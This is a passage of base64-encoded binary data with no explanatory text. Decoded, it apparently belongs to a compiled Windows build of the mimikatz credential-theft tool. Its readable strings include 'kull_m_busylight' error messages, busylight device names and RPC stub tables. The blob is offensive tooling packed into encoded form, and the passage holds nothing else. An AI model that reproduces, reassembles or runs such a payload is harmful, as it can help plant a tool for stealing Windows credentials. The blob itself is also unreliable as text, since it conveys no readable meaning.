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AAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBzAF8AZwBlAHQAIAA7ACAAQwByAGUAYQB0AGUAVABoAHIAZQBhAGQAIAAoAGgASwBlAGUAcABBAGwAaQB2AGUAVABoAHIAZQBhAGQAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AZABlAHYAaQBjAGUAcwBfAGcAZQB0ACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAGgAQgB1AHMAeQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AZABlAHYAaQBjAGUAcwBfAGcAZQB0ACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAGQAZQB2AGkAYwBlAEgAYQBuAGQAbABlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAHMAXwBnAGUAdAAgADsAIABTAGUAdAB1AHAARABpAEcAZQB0AEMAbABhAHMAcwBEAGUAdgBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAHIAZQBxAHUAZQBzAHQAXwBjAHIAZQBhAHQAZQAgADsAIABjAG8AdQBuAHQAPQAlAHUAIAAoAG0AYQB4ACAAaQBzACAANwApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AZABlAHYAaQBjAGUAXwBzAGUAbgBkAF8AcgBhAHcAIAA7ACAAWwBkAGUAdgBpAGMAZQAgACUAdQBdACAAVwByAGkAdABlAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAF8AcwBlAG4AZABfAHIAYQB3ACAAOwAgAFsAZABlAHYAaQBjAGUAIAAlAHUAXQAgAFMAaQB6AGUAIABpAHMAIABuAG8AdAAgAHYAYQBsAGkAZABlACAAKABzAGkAegAgAD0AIAAlAHUALAAgAG0AYQB4ACAAPQAgACUAdQApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAF8AcwBlAG4AZABfAHIAYQB3ACAAOwAgAFsAZABlAHYAaQBjAGUAIAAlAHUAXQAgAEkAbgB2AGEAbABpAGQAIABEAGUAdgBpAGMAZQAvAEIAdQBzAHkAIABIAGEAbgBkAGwAZQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AZABlAHYAaQBjAGUAXwByAGUAYQBkAF8AcgBhAHcAIAA7ACAAWwBkAGUAdgBpAGMAZQAgACUAdQBdACAAUgBlAGEAZABGAGkAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AZABlAHYAaQBjAGUAXwByAGUAYQBkAF8AcgBhAHcAIAA7ACAAWwBkAGUAdgBpAGMAZQAgACUAdQBdACAAJQB1ACAAYgB5AHQAZQAoAHMAKQAgAHIAZQBhAGQAZQBkACwAIAAlAHUAIAB3AGEAbgB0AGUAZAAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBfAHIAZQBhAGQAXwByAGEAdwAgADsAIABbAGQAZQB2AGkAYwBlACAAJQB1AF0AIABJAG4AdgBhAGwAaQBkACAARABlAHYAaQBjAGUALwBCAHUAcwB5ACAASABhAG4AZABsAGUACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHU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